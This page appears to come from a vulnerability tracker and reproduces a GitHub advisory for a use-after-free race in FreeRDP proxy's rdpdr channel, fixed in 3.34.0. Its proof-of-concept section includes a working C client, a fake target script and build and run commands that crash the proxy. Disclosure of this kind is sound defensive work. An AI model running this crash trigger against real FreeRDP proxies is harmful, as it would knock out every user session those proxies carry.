Read the docs

Use after free race in FreeRDP proxy rdpdr channel handling

Priority MEDIUM 42CWE-362Published · Updated

Key facts

Attack vector
Network
Privileges required
None
User interaction
None
Attack complexity
High
Impact type
Denial of service
Confidentiality · integrity · availability
None · None · High
Fix status
Fixed

Attack profile from CVSS 3.1 · GHSA-cgj9-v847-mprc. Fix status from GitHub. Impact type from CWE-416 and the CVSS impact.

Summary

FreeRDP up to and including 3.33.1 has a race condition in freerdp-proxy. The rdpdr channel context is freed by the proxy client thread without locking while the peer thread still uses it, which is a use after free (CWE-416). A remote attacker without privileges who can send rdpdr data while the connection to the target server drops can crash the proxy and every session it serves, with a high attack complexity and no integrity impact.

Written with Claude Haiku 5.5 from the sources below · 2026-12-03

Description from the GitHub advisory

### Summary When freerdp-proxy intercepts the rdpdr channel, the client-side rdpdr context (`pf_channel_client_context`) is created and freed by the proxy's client thread but used without any locking by the peer thread. If the connection to the target server ends while a client is sending rdpdr data, `pf_client_post_disconnect()` frees the context through `HashTable_Remove()` while `pf_channel_rdpdr_client_pass_message()` is still using the pointer it looked up. AddressSanitizer reports a heap use-after-free and the proxy process dies, together with every session it is serving. The freed pointer is then also used to enqueue and send data (`Queue_Enqueue`, `pf_channel_send_client_queue`). ### Details Tested on release 3.33.1 (65bcca19). `pf_channel_rdpdr.c` and `pf_client.c` are unchanged on `master` as of 2026-11-12 (f148e75f). The context lives in `pc->interceptContextMap`, created with `HashTable_New(FALSE)` (`server/proxy/pf_client.c:1374`), so the table has no lock, and the entry has no reference count. Producer and destructor, both on the proxy client thread (`pf_client_thread_proc`): - `pf_client_load_channels` -> `pf_channel_rdpdr_client_new` (`pf_channel_rdpdr.c:1819`, `calloc`) - `pf_client_post_disconnect` (`pf_client.c:657`) -> `pf_channel_rdpdr_client_free` -> `HashTable_Remove` -> context freed User, on the peer thread (`pf_server_handle_peer`), reached through `pf_channel_rdpdr_server_handle` in state `STATE_SERVER_CHANNEL_RUNNING`: ```c static BOOL pf_channel_rdpdr_client_pass_message(pServerContext* ps, pClientContext* pc, ...) { pf_channel_client_context* rdpdr = HashTable_GetItemValue(pc->interceptContextMap, channel_name); // 1598 if (!rdpdr) return TRUE; WINPR_ASSERT(rdpdr->queue); if (!pf_channel_rdpdr_rewrite_device_list(rdpdr, ps, s, FALSE)) // 1603 return FALSE; if (!Queue_Enqueue(rdpdr->queue, s)) // 1605, use after free return FALSE; return pf_channel_send_client_queue(pc, rdpdr); // 1607 } ``` Nothing orders the lookup and the later uses on the peer thread against the free on the client thread. `freerdp_connect()` failing, the retry without NLA, a redirect or a reconnect all run `pf_client_post_disconnect()` (and `utils_reload_channels` -> `HashTable_Insert` replaces and frees the old entry the same way), so the window opens whenever the target connection goes away while the client keeps sending rdpdr PDUs. A large Device List Announce makes the window wider, because the proxy spends time in `pf_channel_rdpdr_rewrite_device_list()` between the lookup and `Queue_Enqueue`. Suggested fix: do not touch the client-side context from the peer thread without synchronisation. For example, create `interceptContextMap` with `HashTable_New(TRUE)` and hold its lock (or a reference count on the entry) from the lookup until the message is queued, or hand the message to the client thread instead of using its context directly. ### Proof of concept 1. Build FreeRDP 3.33.1 with the proxy and AddressSanitizer: ```sh git clone --branch 3.33.1 https://github.com/FreeRDP/FreeRDP && cd FreeRDP SAN="-fsanitize=address -fno-omit-frame-pointer -g -O1" cmake -S . -B build -G Ninja -DCMAKE_BUILD_TYPE=Debug -DCMAKE_C_COMPILER=clang \ -DCMAKE_C_FLAGS="$SAN" -DCMAKE_EXE_LINKER_FLAGS="$SAN" -DCMAKE_SHARED_LINKER_FLAGS="$SAN" \ -DWITH_SERVER=ON -DWITH_PROXY=ON -DWITH_X11=OFF -DWITH_WAYLAND=OFF -DWITH_CLIENT_SDL=OFF \ -DWITH_SHADOW=OFF -DWITH_SAMPLE=OFF -DWITH_FFMPEG=OFF -DWITH_SWSCALE=OFF -DWITH_CUPS=OFF \ -DWITH_PULSE=OFF -DWITH_ALSA=OFF cmake --build build ``` 2. A target that accepts TCP and closes each connection after one second without speaking RDP (this stands in for a target that drops the connection): ```sh python3 -c ' import socket,threading,time s=socket.socket();s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1);s.bind(("127.0.0.1",3390));s.listen(16) def h(c): time.sleep(1.0); c.close() while 1: threading.Thread(target=h,args=(s.accept()[0],),daemon=True).start()' & ``` 3. `proxy.ini` (same certificate as any TLS test, `openssl req -x509 -newkey rsa:2048 -nodes -keyout key.pem -out cert.pem -days 2 -subj /CN=localhost`): ```ini [Server] Host=127.0.0.1 Port=3389 [Target] Host=127.0.0.1 Port=3390 FixedTarget=true [Channels] DeviceRedirection=true PassthroughIsBlacklist=true Passthrough= Intercept=rdpdr [Security] ServerTlsSecurity=true ServerNlaSecurity=false ServerRdpSecurity=false ClientTlsSecurity=true ClientNlaSecurity=true ClientRdpSecurity=true ClientAllowFallbackToTls=true [Certificates] CertificateFile=cert.pem PrivateKeyFile=key.pem ``` Start it: `ASAN_OPTIONS=detect_leaks=0 build/server/proxy/cli/freerdp-proxy proxy.ini` 4. Minimal client (`poc.c`). It connects with TLS and no NLA, completes the rdpdr handshake (Client Announce Reply, Client Name Request, and a Capability Response with `CAP_DRIVE_TYPE` version 1, which makes the proxy rewrite the device list) and then sends well-formed Device List Announce PDUs with 20000 drives in a loop for 4 seconds. ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <winpr/synch.h> #include <winpr/sysinfo.h> #include <freerdp/freerdp.h> #include <freerdp/settings.h> #include <freerdp/svc.h> static int handshake = 0; static UINT16 channel = 0; static BOOL on_channel_data(freerdp* instance, UINT16 channelId, const BYTE* data, size_t size, UINT32 flags, size_t totalSize) { (void)data; (void)size; (void)flags; (void)totalSize; if (handshake) return TRUE; const BYTE reply[12] = { 0x72, 0x44, 0x43, 0x43, 0x01, 0x00, 0x0d, 0x00, 0x01, 0x00, 0x00, 0x00 }; const BYTE name[20] = { 0x72, 0x44, 0x4e, 0x43, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x41, 0x00, 0x00, 0x00 }; const BYTE caps[16] = { 0x72, 0x44, 0x50, 0x43, 0x01, 0x00, 0x00, 0x00, 0x04, 0x00, 0x08, 0x00, 0x01, 0x00, 0x00, 0x00 }; channel = channelId; instance->SendChannelData(instance, channelId, reply, sizeof(reply)); instance->SendChannelData(instance, channelId, name, sizeof(name)); instance->SendChannelData(instance, channelId, caps, sizeof(caps)); handshake = 1; return TRUE; } static BOOL pre_connect(freerdp* instance) { instance->ReceiveChannelData = on_channel_data; return TRUE; } static BOOL load_channels(freerdp* instance) { CHANNEL_DEF def = { 0 }; strncpy(def.name, "rdpdr", sizeof(def.name) - 1); def.options = CHANNEL_OPTION_INITIALIZED | CHANNEL_OPTION_ENCRYPT_RDP; return freerdp_settings_set_pointer_array(instance->context->settings, FreeRDP_ChannelDefArray, 0, &def) && freerdp_settings_set_uint32(instance->context->settings, FreeRDP_ChannelCount, 1); } static BOOL post_connect(freerdp* instance) { (void)instance; return TRUE; } static BOOL pump(freerdp* instance) { HANDLE h[MAXIMUM_WAIT_OBJECTS] = { 0 }; DWORD n = freerdp_get_event_handles(instance->context, h, ARRAYSIZE(h)); if (!n) return FALSE; WaitForMultipleObjects(n, h, FALSE, 100); return freerdp_check_event_handles(instance->context) && !freerdp_shall_disconnect_context(instance->context); } int main(int argc, char** argv) { freerdp* instance = freerdp_new(); instance->ContextSize = sizeof(rdpContext); instance->PreConnect = pre_connect; instance->PostConnect = post_connect; instance->LoadChannels = load_channels; freerdp_context_new(instance); rdpSettings* st = instance->context->settings; freerdp_settings_set_string(st, FreeRDP_ServerHostname, argc > 1 ? argv[1] : "127.0.0.1"); freerdp_settings_set_uint32(st, FreeRDP_ServerPort, argc > 2 ? (UINT32)atoi(argv[2]) : 3389); freerdp_settings_set_string(st, FreeRDP_Username, "user"); freerdp_settings_set_string(st, FreeRDP_Password, "x"); freerdp_settings_set_bool(st, FreeRDP_IgnoreCertificate, TRUE); freerdp_settings_set_bool(st, FreeRDP_NlaSecurity, FALSE); freerdp_settings_set_bool(st, FreeRDP_TlsSecurity, TRUE); freerdp_settings_set_bool(st, FreeRDP_RdpSecurity, FALSE); if (freerdp_connect(instance)) { for (int i = 0; !handshake && i < 50; i++) if (!pump(instance)) break; if (handshake) { const UINT32 count = 20000; const size_t len = 8 + (size_t)count * 20; BYTE* pdu = calloc(1, len); memcpy(pdu, "\x72\x44\x41\x44", 4); /* RDPDR_CTYP_CORE / PAKID_CORE_DEVICELIST_ANNOUNCE */ memcpy(pdu + 4, &count, 4); for (UINT32 x = 0; x < count; x++) { BYTE* d = pdu + 8 + (size_t)x * 20; const UINT32 id = x + 1; d[0] = 0x08; /* RDPDR_DTYP_FILESYSTEM */ memcpy(d + 4, &id, 4); d[8] = 'C'; d[9] = ':'; } const UINT64 end = GetTickCount64() + 4000; while (GetTickCount64() < end) if (!instance->SendChannelData(instance, channel, pdu, len)) break; free(pdu); } } freerdp_disconnect(instance); freerdp_context_free(instance); freerdp_free(instance); return 0; } ``` ```sh clang -fsanitize=address -g poc.c -o poc -Iinclude -Ibuild/include -Iwinpr/include -Ibuild/winpr/include \ -Lbuild/libfreerdp -lfreerdp3 -Lbuild/winpr/libwinpr -lwinpr3 for i in $(seq 1 12); do LD_LIBRARY_PATH=build/libfreerdp:build/winpr/libwinpr ./poc 127.0.0.1 3389; sleep 1; done ``` 5. AddressSanitizer report from freerdp-proxy (excerpt): ``` ERROR: AddressSanitizer: heap-use-after-free on address 0x50c000052668 READ of size 8 at 0x50c000052668 thread T3 #0 pf_channel_rdpdr_client_pass_message server/proxy/channels/pf_channel_rdpdr.c:1605 #1 pf_channel_rdpdr_server_handle server/proxy/channels/pf_channel_rdpdr.c:2041 #2 pf_rdpdr_front_data server/proxy/channels/pf_channel_rdpdr.c:2119 #3 pf_server_receive_channel_data_hook server/proxy/pf_server.c:470 #4 freerdp_channel_peer_process libfreerdp/core/channels.c:206 ... #12 pf_server_handle_peer server/proxy/pf_server.c:705 0x50c000052668 is located 104 bytes inside of 120-byte region freed by thread T6 here: #1 disposePair winpr/libwinpr/utils/collections/HashTable.c:232 #2 HashTable_Remove winpr/libwinpr/utils/collections/HashTable.c:430 #3 pf_client_post_disconnect server/proxy/pf_client.c:657 #4 freerdp_disconnect libfreerdp/core/freerdp.c:652 #5 freerdp_connect libfreerdp/core/freerdp.c:322 #6 pf_client_connect server/proxy/pf_client.c:813 previously allocated by thread T6 here: #1 pf_channel_rdpdr_client_new server/proxy/channels/pf_channel_rdpdr.c:1819 #2 pf_client_load_channels server/proxy/pf_client.c:356 ``` It is a race, but with the large PDU it hit on the first attempt in each of 6 runs (and 3 of 3 automated reproductions). With small 408-byte PDUs it did not trigger in 2 attempts. ### Impact A remote client of freerdp-proxy can crash the proxy when it intercepts the rdpdr channel and the connection to the target server goes away (connection failure, retry without NLA, redirect or disconnect) while the client is sending rdpdr data. The client does not need valid credentials when the proxy does not require NLA from clients. The whole proxy process goes down with every session it carries. After the free, the dangling context is used to enqueue and send data, so heap corruption is possible in builds without AddressSanitizer, but only the use-after-free read and the crash were demonstrated. In the test, a test backend causes the target connection to drop. I have not verified that a client alone can force this against a real RDP server, for example with wrong credentials.

Why it matters now

Fix Fixed FreeRDP (c): 3.34.0

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP (c)<= 3.33.13.34.0Patch availableGHSA-cgj9-v847-mprc
  • FreeRDP (c) Vendor— Affected <= 3.33.1 Fixed in 3.34.0 Patch available GHSA-cgj9-v847-mprc

Remediation

FreeRDP 3.34.0 fixes this. The sources list no fixed version for FreeRDP 3.33.1 and earlier releases beyond that.

Written with Claude Haiku 5.5 from the sources below · 2026-12-03

  • Fix · GHSA-cgj9-v847-mprc FreeRDP (c) Fixed in 3.34.0 Advisory →

Timeline

  1. 2026-12-03 Threatist record created from GHSA-cgj9-v847-mprc

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences